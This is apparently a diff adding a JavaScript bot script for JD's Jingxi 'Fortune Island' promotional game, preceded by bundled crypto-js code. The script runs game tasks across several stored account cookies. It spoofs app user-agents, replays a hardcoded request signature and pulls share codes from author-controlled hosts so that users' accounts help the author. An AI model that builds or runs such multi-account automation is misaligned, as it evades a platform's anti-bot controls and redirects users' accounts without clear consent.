decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token; + +const randomCount = $.isNode() ? 3 : 3; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.appId = 10009; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + let res = {}, res2 = await getAuthorShareCode("https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/cfd.json") + if (new Date().getHours() <= 3) res = await getAuthorShareCode('http://cdn.annnibb.me/cfd.json'); + if (!res2) res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/cfd.json') + $.strMyShareIds = [...(res && res.shareId || []),...(res2 && res2.shareId || [])] + $.strGroupIds = [...(res && res.strGroupIds || []),...(res2 && res2.strGroupIds || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + token = await getJxToken() + // console.log(`token:${JSON.stringify(token)}`) + $.allTask = [] + $.info = {} + await shareCodesFormat() + await cfd(); + await $.wait(5000); + } + } + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + token = await getJxToken(); + if (!token) continue + $.canHelp = true + if ($.shareCodes && $.shareCodes.length) console.log(`\n\n寻宝大作战,自己账号内部循环互助\n\n`); + for (let id of $.shareCodes) { + console.log(`账号${$.UserName} 去参加 ${id} 寻宝大作战`) + await joinGroup(id) + if (!$.canHelp) break + await $.wait(1000 * 10) + } + if (!$.canHelp) continue + console.log(`\n\n寻宝大作战,助力作者\n`); + for (let id of $.strGroupIds) { + console.log(`账号${$.UserName} 去参加寻宝大作战 ${id} 等待10秒`) + await joinGroup(id) + if (!$.canHelp) break + await $.wait(1000 * 10) + } + } + await showMsg(); +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + const beginInfo = await getUserInfo(); + + await $.wait(2000); + await querySignList(); + + await $.wait(3000); + await getMoney(); + + //日常任务 + await $.wait(3000); + await getTaskList(0); + await $.wait(3000); + await browserTask(0); + + //寻宝 + await $.wait(3000); + await treasureHunt(); + + //偷财富 + await $.wait(3000); + await friendCircle(); + + //成就任务 + await $.wait(3000); + await getTaskList(1); + await $.wait(3000); + await browserTask(1); + + //抽奖 + await $.wait(3000); + await funCenterState(); + + //领取寻宝宝箱 + await $.wait(3000); + await openPeriodBox(); + + //出岛寻宝大作战 + await $.wait(3000); + await submitGroupId(); + await $.wait(3000); + + // const endInfo = await getUserInfo(false); + await helpFriend() + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【💵财富值】${beginInfo.ddwMoney}\n` + ); + // $.result.push( + // `【京东账号${$.index}】${$.nickName || $.UserName}`, + // `【💵财富值】任务前: ${beginInfo.ddwMoney}\n【💵财富值】任务后: ${endInfo.ddwMoney}`, + // `【💵财富值】净增值: ${endInfo.ddwMoney - beginInfo.ddwMoney}\n` + // ); + } catch (e) { + $.logErr(e) + } +} +function helpFriend() { + return new Promise(async resolve => { + $.canHelp = true + for (let id of $.newShareCodes.filter(vo=> !!vo && !vo.includes("GroupId"))) { + console.log(`去助力好友 【${id}】`) + if (token) await createSuperAssistUser(id); + await $.wait(10000); + await createAssistUser(id); + if (!$.canHelp) break + await $.wait(12000); + } + // if (token) { + // $.canHelp = true + // for (let id of $.strGroupIds) { + // console.log(`去参加寻宝大作战 ${id} 等待10秒`) + // await joinGroup(id) + // if (!$.canHelp) break + // await $.wait(1000 * 10) + // } + // } + resolve() + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + iret, + SceneList = {}, + XbStatus: { XBDetail = [], dwXBRemainCnt } = {}, + ddwMoney, + dwIsNewUser, + sErrMsg, + strMyShareId, + strPin, + dwLevel, + } = data; + $.log(`\n获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + $.log(`\n当前等级:${dwLevel},财富值:${data['ddwMoney']}\n`) + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的可继续使用`); + $.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n\n`); + } + $.info = { + ...$.info, + SceneList, + XBDetail, + dwXBRemainCnt, + ddwMoney, + dwIsNewUser, + strMyShareId, + strPin, + dwLevel + }; + resolve({ + SceneList, + XBDetail, + dwXBRemainCnt, + ddwMoney, + dwIsNewUser, + strMyShareId, + strPin, + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//签到列表 +function querySignList() { + return new Promise(async (resolve) => { + $.get(taskUrl(`task/QuerySignListV2`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QuerySignListV2 API请求失败,请检查网路重试`) + } else { + const { iRet, sData: { Sign = [{}], dwUserFlag }, sErrMsg } = JSON.parse(data); + $.log(`\n签到列表:${sErrMsg}\n${$.showLog ? data : ""}`); + const [{ dwStatus, ddwMoney }] = Sign.filter(x => x.dwShowFlag === 1); + if (dwStatus === 0) { + await userSignReward(dwUserFlag, ddwMoney); + } else { + $.log(`\n📌签到:你今日已签到过啦,请明天再来`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//签到 +async function userSignReward(dwUserFlag,ddwMoney) { + return new Promise(async (resolve) => { + $.get( + taskUrl( + `task/UserSignRewardV2`, + `dwReqUserFlag=${dwUserFlag}&ddwMoney=${ddwMoney}` + ), + async (err, resp, data) => { + try { + //$.log(data) + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} UserSignRewardV2 API请求失败,请检查网路重试`) + } else { + const { iRet, sData: { ddwMoney }, sErrMsg } = JSON.parse(data); + $.log(`\n📌签到:${sErrMsg},获得财富 ¥ ${ddwMoney || 0}\n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); +} + +//领取财富值 +//dwSource=[1,2,3] 1:岛主自产财富 2:普通助力财富 3:超级助力财富 +async function getMoney() { + let sceneList = $.info.SceneList; + let SceneListIds = [], allSceneListIDs = ["1001", "1002", "1003"]; + SceneListIds = Object.keys(sceneList); + SceneListIds = allSceneListIDs.filter((item) => SceneListIds.every(item1 => item !== item1)); + console.log(`待开通场景ID列表sceneList;${JSON.stringify(SceneListIds)}`) + for (let item of SceneListIds) { + if (item === '1002' && $.info.dwLevel >= 11) await activeScene(item); + if (item === '1003' && $.info.dwLevel >= 26) await activeScene(item); + } + for (const _key of Object.keys($.info.SceneList)) { + //领取自产财富 + await $.wait(2000); + await getMoney_dwSource_1(_key, sceneList); + //领取普通助力的财富 + const employeeList = eval('(' + JSON.stringify(sceneList[_key].EmployeeList) + ')'); + if (employeeList !== "") { + for (var key of Object.keys(employeeList)) { + await $.wait(2000); + await getMoney_dwSource_2(_key, sceneList, key); + } + } + //领取超级助力财富 + // console.log(`开始领取超级助力财富,等待2秒`) + await $.wait(2000); + if (token) await getMoney_dwSource_3(_key, sceneList); + await employeeAward(_key) + } + // return new Promise(async (resolve) => { + // let sceneList = $.info.SceneList; + // let SceneListIds = [], allSceneListIDs = ["1001", "1002", "1003"]; + // SceneListIds = Object.keys(sceneList); + // SceneListIds = allSceneListIDs.filter((item) => SceneListIds.every(item1 => item !== item1)); + // console.log(`待开通场景ID列表sceneList;${JSON.stringify(SceneListIds)}`) + // for (let item of SceneListIds) { + // if (item === '1002' && $.info.dwLevel >= 11) await activeScene(item); + // if (item === '1003' && $.info.dwLevel >= 26) await activeScene(item); + // } + // for (var _key of Object.keys($.info.SceneList)) { + // try { + // //领取自产财富 + // await $.wait(3000); + // await getMoney_dwSource_1( _key, sceneList ); + // //领取普通助力的财富 + // const employeeList = eval('('+ JSON.stringify(sceneList[_key].EmployeeList) +')'); + // if(employeeList !== ""){ + // for( var key of Object.keys(employeeList) ) { + // await $.wait(3000); + // await getMoney_dwSource_2( _key, sceneList, key ); + // } + // } + // //领取超级助力财富 + // console.log(`开始领取超级助力财富,等待5秒`) + // await $.wait(30000); + // if (token) await getMoney_dwSource_3(_key, sceneList); + // await employeeAward(_key) + // } catch (e) { + // $.logErr(e); + // } finally { + // resolve(); + // } + // } + // }); +} + +//领取自产财富 +function getMoney_dwSource_1( _key, sceneList ) { + return new Promise(async (resolve) => { + $.get( + taskUrl(`user/GetMoney`,`dwSceneId=${_key}&strEmployeeId=undefined&dwSource=1`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMoney_dwSource_1 API请求失败,请检查网路重试`) + } else { + const { iRet, dwMoney, sErrMsg } = JSON.parse(data); + $.log(`\n【${sceneList[_key].strSceneName}】🏝岛主 : ${ sErrMsg == 'success' ? `获取财富值:¥ ${dwMoney || 0}` : sErrMsg } \n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); +} + +//领取普通助力的财富 +function getMoney_dwSource_2( _key, sceneList, key ) { + return new Promise(async (resolve) => { + $.get( + taskUrl(`user/GetMoney`, `dwSceneId=${_key}&strEmployeeId=${key}&dwSource=2`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMoney_dwSource_2 API请求失败,请检查网路重试`) + } else { + // console.log(`getMoney_dwSource_2`, data) + const { dwMoney, iRet, sErrMsg, strPin } = JSON.parse(data); + $.log(`\n【${sceneList[_key].strSceneName}】👬好友: ${ sErrMsg == 'success' ? `获取普通助力财富值:¥ ${dwMoney || 0}` : sErrMsg } \n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); +} + +//领取超级助力财富 +function getMoney_dwSource_3( _key, sceneList ) { + return new Promise(async (resolve) => { + $.get( + taskUrl(`user/GetMoney`,`dwSceneId=${_key}&strEmployeeId=&dwSource=3&strPgtimestamp=${token ['timestamp']}&strPhoneID=${token ['phoneid']}&strPgUUNum=${token ['farm_jstoken']}`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMoney_dwSource_3 API请求失败,请检查网路重试`) + } else { + // console.log(`getMoney_dwSource_3 ${data}`) + const { iRet, dwMoney, sErrMsg, strPin } = JSON.parse(data); + $.log(`\n【${sceneList[_key].strSceneName}】👬好友: ${ sErrMsg == 'success' ? `获取超级助力财富值:¥ ${dwMoney || 0}` : sErrMsg } \n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); +} + +//领取红包 +function employeeAward(_key) { + return new Promise(async (resolve) => { + const options = { + 'url': `https://m.jingxi.com/jxcfd/user/AdvEmployeeAward?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${+new Date()}&ptag=138631.26.55&dwSenceId=${_key}&_=${+new Date()}&_stk=_cfd_t,bizCode,dwEnv,dwSenceId,ptag,source,strZone&h5st=20210304120622242;6980827292145544;10009;tk01wb8321c0ea8nNjg0a1JqVUlvqre776hbVd8Unm3xaodPUoxF6qk2nu5+3BL0+M/NCPfMBRDekvWYG0otooxd4ZA9;3a499b12485ae55f84ace34682b6bececd1e74be6ae82d880877f9e1c861d7d9&sceneval=2&g_login_type=1`, + 'headers': { + 'Host': 'm.jingxi.com', + 'accept': '*/*', + 'user-agent': 'jdpingou;iPad;4.2.2;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'accept-language': 'zh-cn', + 'referer': 'https://st.jingxi.com/fortune_island/index.html?ptag=7155.9.47', + 'Cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + // console.log(`红包领取结果:${data}`) + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} employeeAward API请求失败,请检查网路重试`) + } else { + const {iRet, sErrMsg, strAwardDetail} = JSON.parse(data); + if (iRet === 0) { + switch (_key) { + case "1001": + console.log(`【欢乐牧场】获得 ${strAwardDetail['strName']} 红包`) + break + case "1002": + console.log(`【便利店】获得 ${strAwardDetail['strName']} 红包`) + break + case "1003": + console.log(`【京喜餐厅】获得 ${strAwardDetail['strName']} 红包`) + break + default: + console.log(`【未知场景】获得 ${strAwardDetail['strName']} 红包`) + } + } else { + switch (_key) { + case "1001": + console.log(`【欢乐牧场领取红包】 ${sErrMsg}`) + break + case "1002": + console.log(`【便利店领取红包】${sErrMsg}`) + break + case "1003": + console.log(`【京喜餐厅领取红包】${sErrMsg}`) + break + default: + console.log(`【未知场景领取红包】${sErrMsg}`) + } + } + if (iRet !== 0) { + return + } + await $.wait(2 * 1000) + await employeeAward(_key) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//好友圈偷财富 +function friendCircle() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/FriendCircle`, `dwPageIndex=1&dwPageSize=20`), async(err, resp, data) => { + try { + //$.log(`\n好友圈列表\n${data}`); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} FriendCircle API请求失败,请检查网路重试`) + } else { + const {MomentList = [],iRet,sErrMsg,strShareId} = JSON.parse(data); + for (moment of MomentList) { + if (moment.strShareId !== strShareId && moment.dwAccessMoney > 0) { + await queryFriendIsland(moment.strShareId); + await $.wait(3000); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//获取好友信息 +function queryFriendIsland(strShareId,){ + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryFriendIsland`, `strShareId=${strShareId}&sceneval=2`), + async(err, resp, data) => { + try { + //$.log(`\n获取好友信息\n${data}`); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryFriendIsland API请求失败,请检查网路重试`) + } else { + const {SceneList = {},dwStealMoney,sErrMsg,strFriendNick} = JSON.parse(data); + if (sErrMsg === "success") { + const sceneList = eval('(' + JSON.stringify(SceneList) + ')'); + const sceneIds = Object.keys(SceneList); + for (sceneId of sceneIds) { + await stealMoney(strShareId,sceneId,strFriendNick,sceneList[sceneId].strSceneName); + await $.wait(3000); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//偷财富 +function stealMoney(strShareId, sceneId, strFriendNick, strSceneName){ + return new Promise(async (resolve) =>{ + $.get(taskUrl(`user/StealMoney`, `strFriendId=${strShareId}&dwSceneId=${sceneId}&sceneval=2`), async(err, resp, data) => { + try { + //$.log(data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} StealMoney API请求失败,请检查网路重试`) + } else { + const {dwGetMoney,iRet,sErrMsg} = JSON.parse(data); + $.log(`\n🤏偷取好友【${strFriendNick}】【${strSceneName}】财富值:¥ ${dwGetMoney ? dwGetMoney : sErrMsg}\n${$.showLog ? data: ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//寻宝 +async function treasureHunt() { + if($.info.dwXBRemainCnt > 0) { + const xbDetail = $.info.XBDetail; + for (let i = 0; i < xbDetail.length; i++) { + const { ddwColdEndTm, strIndex }= xbDetail[i]; + const currentTm = Math.round(new Date() / 1000); + if( currentTm > ddwColdEndTm ) { + await doTreasureHunt(strIndex); + await $.wait(3000); + } else { + $.log(`\n🎁寻宝:宝藏冷却中,请等待冷却完毕`); + } + } + } else { + $.log(`\n🎁寻宝:寻宝次数不足`); + } +} + +function doTreasureHunt(place) { + return new Promise(async (resolve) => { + $.get( + taskUrl(`consume/TreasureHunt`, `strIndex=${place}&dwIsShare=0`), + async (err, resp, data) => { + try { + //$.log(data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) + } else { + const { iRet, dwExpericnce, sErrMsg } = JSON.parse(data); + $.log(`\n【${place}】🎁寻宝:${sErrMsg} ,获取随机奖励:¥ ${dwExpericnce || 0} \n${$.showLog ? data : ""}`); + resolve(iRet) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); +} + +//任务赚财富 +function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + 